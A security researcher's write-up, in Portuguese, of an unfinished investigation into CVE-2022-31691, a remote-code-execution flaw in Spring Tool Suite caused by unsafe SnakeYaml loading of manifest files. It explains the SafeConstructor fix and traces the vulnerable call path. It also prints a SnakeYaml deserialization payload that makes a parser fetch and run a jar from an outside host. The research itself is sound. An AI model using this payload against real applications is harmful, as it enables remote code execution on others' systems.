blipzip/cve-2022-31691A write-up of my (so far inconclusive) look into CVE-2022-31691
Um relatório da minha (até agora inconclusiva) investigação sobre a CVE-2022-31691.
Sou um utilizador frequente do Spring Tool Suite (STS) para Eclipse e costumo depender dele para inicializar novos projetos Spring Boot. Esta vulnerabilidade (ver https://tanzu.vmware.com/security/cve-2022-31691) é um RCE que pode ser induzido através do carregamento inseguro de conteúdo de um ficheiro de configuração yaml.
O SnakeYaml é um analisador e emissor yaml muito comum para Java. No entanto, como em qualquer processo de marshalling/unmarshalling, existe sempre o risco de conteúdo indesejado ser carregado diretamente para a memória. O SnakeYaml não é diferente - ver https://code.google.com/archive/p/snakeyaml/wikis/Documentation.wiki#Tutorial.
Loading YAML
Warning: It is not safe to call Yaml.load() with any data received from an untrusted source!
The method Yaml.load() converts a YAML document to a Java object.
Com isso em mente, os mantenedores do projeto adicionaram um método SafeConstructor:
Note if you want to limit objects to standard Java objects like List or Long you need to use SafeConstructor.
Yaml yaml = new Yaml(new SafeConstructor());
A lógica é bastante clara, mas este conselho claramente não está a ser bem seguido. Não precisamos de ir muito longe para ver exemplos de práticas de carregamento inseguras. Até o Baeldung (uma excelente fonte de informação sobre Spring) não menciona isto no seu guia: https://www.baeldung.com/java-snake-yaml#basic-usage.
Para explorar isto, preciso de fazer com que este construtor faça unmarshall de um objeto sobre o qual tenho controlo. Felizmente, outros já fizeram o trabalho pesado aqui. https://github.com/artsploit/yaml-payload é um projeto muito simples para gerar payloads de exploração do SnakeYaml ao estilo de https://github.com/mbechler/marshalsec. A lógica é:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
]]
]
Esta vulnerabilidade foi corrigida na versão 4.16.1 do STS. Uma rápida olhada nos commits desta versão oferece algumas pistas úteis sobre o que foi corrigido - https://github.com/spring-projects/sts4/compare/4.16.0.RELEASE...4.16.1.RELEASE
A mensagem neste commit - "Use SafeConstructor in Snakeyaml YAML constructors" é uma boa indicação do que foi corrigido.
De facto, aqui é onde o SafeConstructor é substituído.
YamlASTProvider parser = new YamlASTProvider(new Yaml(new SafeConstructor()));
Se estou interessado em explorar isto, preciso de colocar algum conteúdo malicioso neste construtor SnakeYaml, por isso preciso de rastrear de onde é chamado.
A criação do objeto SnakeYaml é alimentada por um objeto InputStream que é criado por um método getInputStream().
getInputStream() chama getManifestFile() para determinar qual ficheiro de manifesto carregar.
getManifestFile() retorna ou a localização de um ficheiro de manifesto (se especificado no construtor), ou null.
A classe ApplicationManifestHandler é inicializada na classe CloudFoundryBootDashModel aqui e recebe um valor derivado de um valor definido no construtor do método resolveDeploymentProperties aqui.
Tenho a certeza de que preciso de configurar alguma configuração do CloudFoundry para que ele tente carregar/invocar o meu ficheiro manifest.yml malicioso.
Acontece que o CloudFoundry é uma tecnologia em declínio, graças (suponho) ao Kubernetes e afins. Não consigo encontrar nenhum tipo de plataforma pública para criar uma conexão CF, por isso não consigo testar as coisas a partir daqui.
Investigar a possibilidade de iniciar uma instância de desenvolvimento local do CloudFoundry, nem que seja para testar o meu entendimento da vulnerabilidade e do exploit.